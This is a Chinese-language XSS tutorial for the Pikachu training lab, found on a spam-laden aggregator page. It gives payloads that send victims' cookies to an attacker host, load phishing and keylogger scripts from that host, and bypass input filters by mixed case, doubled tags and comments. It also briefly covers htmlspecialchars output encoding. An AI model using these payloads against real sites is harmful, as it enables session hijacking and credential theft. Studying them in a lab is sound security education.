当前位置: 首页 > news >正文

国外自适应网站模版长春品牌网站建设公司

国外自适应网站模版,长春品牌网站建设公司,武进区建设局网站,网页版淘宝登录入口XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS&#xff09…

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS)

原因:输入没过滤,输出没编码。

危害:劫持用户cookie,钓鱼,挂马

分类:

1、反射性XSS(中危,一次性不保存在数据库,交互的地方,比如带参和输入更新),

2、储存型XSS(高危,长久保存在数据库)

3、DOM XSS(低危,无数据库交互,浏览器的dom节点),可能存在html文本框,URL文本框,样式等

操作:

在万能闭合‘“>后面插入语句<script>prompt(1)</script>

或者用弹窗语句‘“><script>alert(1)</script>,弹出一个对话框1,如果能弹窗说明这里是有漏洞的。

示例,name变量没有进行过滤

cookie收集展示

 设置下点击页面的时候返回地址,这样减少用户的疑问,也可以把返回的网址换成登录的网页

111'"><script>document.location = 'http://网站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

配置好返回的界面后,输入以下代码,提交然后刚才提交的那个电脑的cookie就保存在到pkxss里面了。且用户点击的界面在提交代码之后返回到之前配置的那个index.php上。

盲打获取账户密码

在不确定是否有注入点的地方输入后,登录后台可以把登录的账户和密码拿到,在md5解密就可以获得账户密码

111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

post方式

钓鱼

'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>

注意:再次点击的时候没有弹出,是因为已经保存这个电脑信息,需要浏览器清除下cookie

收集键盘信息

同源策略:浏览器都约定了“同源策略,禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http:// www.   oldboyedu.com  :80 /   news/index.php
协议    子域名    主域名               端口    资源地址

必须要全部一样才算同源

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,键盘记录rk.js执行,然后在页面任何位置输入就可以键盘输入记录

XSS绕过

前段绕过,大小写,双写,注释,编码

1、对前端的限制可以尝试进行抓包重发或者修改前端的HTML。比如修改输入框字符。
2、防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如:<sCRipT>alert('你吃饭像tuzi')</sCrIPt>,利用的是精准过滤,换成大小写就绕过了。也可以用其他标签比如框架iframe,类型style,标签svg


3、防止后台对输入的内容进行替换,采用拼拼凑的输入方法。比如:<sc<script>ript>alert(你吃饭像tuzi')</scr<script>ipt>
4、使用注释来干扰后台对输入内容的识别。比如:<sc<!--test-->ript>alert('你吃饭像tuzi')</scr<!--tshauie-->ipt>
5:、编码,保证输出的情况下后台代码过滤

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

可用的quotestyle类型:

ENT_COMPAT - 默认。仅编码双引号

ENT_QUOTES - 编码双引号和单引号

ENT_NOQUOTES - 不编码任何引

预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

href输出:javascript:alert(1111) 

http://www.15wanjia.com/news/194608.html

相关文章:

  • 网站怎么做构成网站开发百灵鸟优化
  • 怎么样备份网站数据库seo案例分享
  • 高考志愿网站开发武安市住房和城乡规划建设局网站
  • 东台网站建设用废旧盒子做家用物品网站
  • 对单位网站的要求吗常州网站建设平台
  • 中堂镇仿做网站wordpress精仿赶集
  • 模板网站的弊端在哪中国空间站视频
  • 黄埔网站推广网站设计网
  • 工业设计招聘信息网站wordpress小工具侧边栏
  • 网站友情链接如何做ftp下的内部网站建设
  • 发布php做的网站运维培训
  • 成都的网站建设公司哪家好做网站用什么浏览器
  • 做网站哪些公司店铺logo图片免费生成女士
  • 做网站需要工商证吗网站底部代码下载
  • 网站发布系统百度推广电话
  • 网站长尾词挖掘长春有什么好的网站制作公司
  • 创造与魔法官方网站-做自己喜欢的事网站开发和运营合同分开签么
  • 珠海做网站的公司有哪些镇江百度公司
  • 网络营销是做什么seo排名影响因素主要有
  • 网站的建设项目是什么意思视频网站上市公司有哪些
  • 福建省建设人才与科技发展中心网站哪网站建设
  • 为什么选择网站来做论文题目找做金融的网站有哪些
  • 建门户网站html视频播放器代码
  • 邢台做网站推广价格网页游戏网站打不开
  • 做侵权网站用哪里的服务器稳外国做ppt的网站
  • 跨境建站平台五指山住房建设局网站
  • 做海外房产最好的网站商标设计logo图案需要注册吗
  • 聚企360做的网站汕头市网络优化推广平台
  • 做网站外包公司名称大全湖南郴州市地图
  • 平面设计素材网站哪个好app图标制作